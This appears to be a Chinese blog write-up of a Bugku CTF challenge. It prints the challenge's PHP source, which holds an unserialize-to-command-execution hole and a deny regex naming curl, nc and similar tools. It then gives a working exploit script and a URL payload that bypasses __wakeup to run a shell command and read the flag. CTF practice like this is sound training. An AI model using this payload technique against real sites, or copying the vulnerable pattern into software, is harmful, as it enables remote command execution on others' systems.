bugku-安慰奖

打开题目

发现一片空白

查看一下源代码

发现了一串base64编码

 

 

解码一下

 

 应该是有备份文件在的

fuzz一下

发现了index.php.bak有文件

下载下来

 1 <?php
 2 
 3 header("Content-Type: text/html;charset=utf-8");
 4 error_reporting(0);
 5 echo "<!-- YmFja3Vwcw== -->";
 6 class ctf
 7 {
 8     protected $username = 'hack';
 9     protected $cmd = 'NULL';
10     public function __construct($username,$cmd)
11     {
12         $this->username = $username;
13         $this->cmd = $cmd;
14     }
15     function __wakeup()
16     {
17         $this->username = 'guest';
18     }
19 
20     function __destruct()
21     {
22         if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
23         {
24             exit('</br>flag能让你这么容易拿到吗?<br>');
25         }
26         if ($this->username === 'admin')
27         {
28            // echo "<br>right!<br>";
29             $a = `$this->cmd`;
30             var_dump($a);
31         }else
32         {
33             echo "</br>给你个安慰奖吧,hhh!</br>";
34             die();
35         }
36     }
37 }
38     $select = $_GET['code'];
39     $res=unserialize(@$select);
40 ?>

是考察php反序列化的

这串代码的大致意思就是当username的值为admin时

就可以执行cmd里面的代码

但是_wakeup()的魔术方法会将guest赋给username

就无法执行cmd的代码了

所以需要绕过_wakeup这个函数

__wakeup 将在序列化之后立即被调用

漏洞原理: 当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup(跟buu的一道题好像。。)

exp

<?php

class ctf{
    protected $username='admin';
    protected $cmd='tac f*';
}
$ctf=new ctf();
echo urlencode(serialize($ctf));
;?>

得到了:O%3A3%3A%22ctf%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A6%3A%22tac+f%2A%22%3B%7D

用url编码是为了防止丢失%00

解码出来O:3:"ctf":2:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:6:"tac f*";}

只需要将ctf后面的2改为更大的值即可成功绕过,用tac的原因是上面过滤掉了很多指令

用tac也能正常读取文件内容

最终的payload:?code=O%3A3%3A%22ctf%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A6%3A%22tac+f%2A%22%3B%7D

 

posted @ 2021-06-16 20:06  c0d1  阅读(205)  评论(1编辑  收藏  举报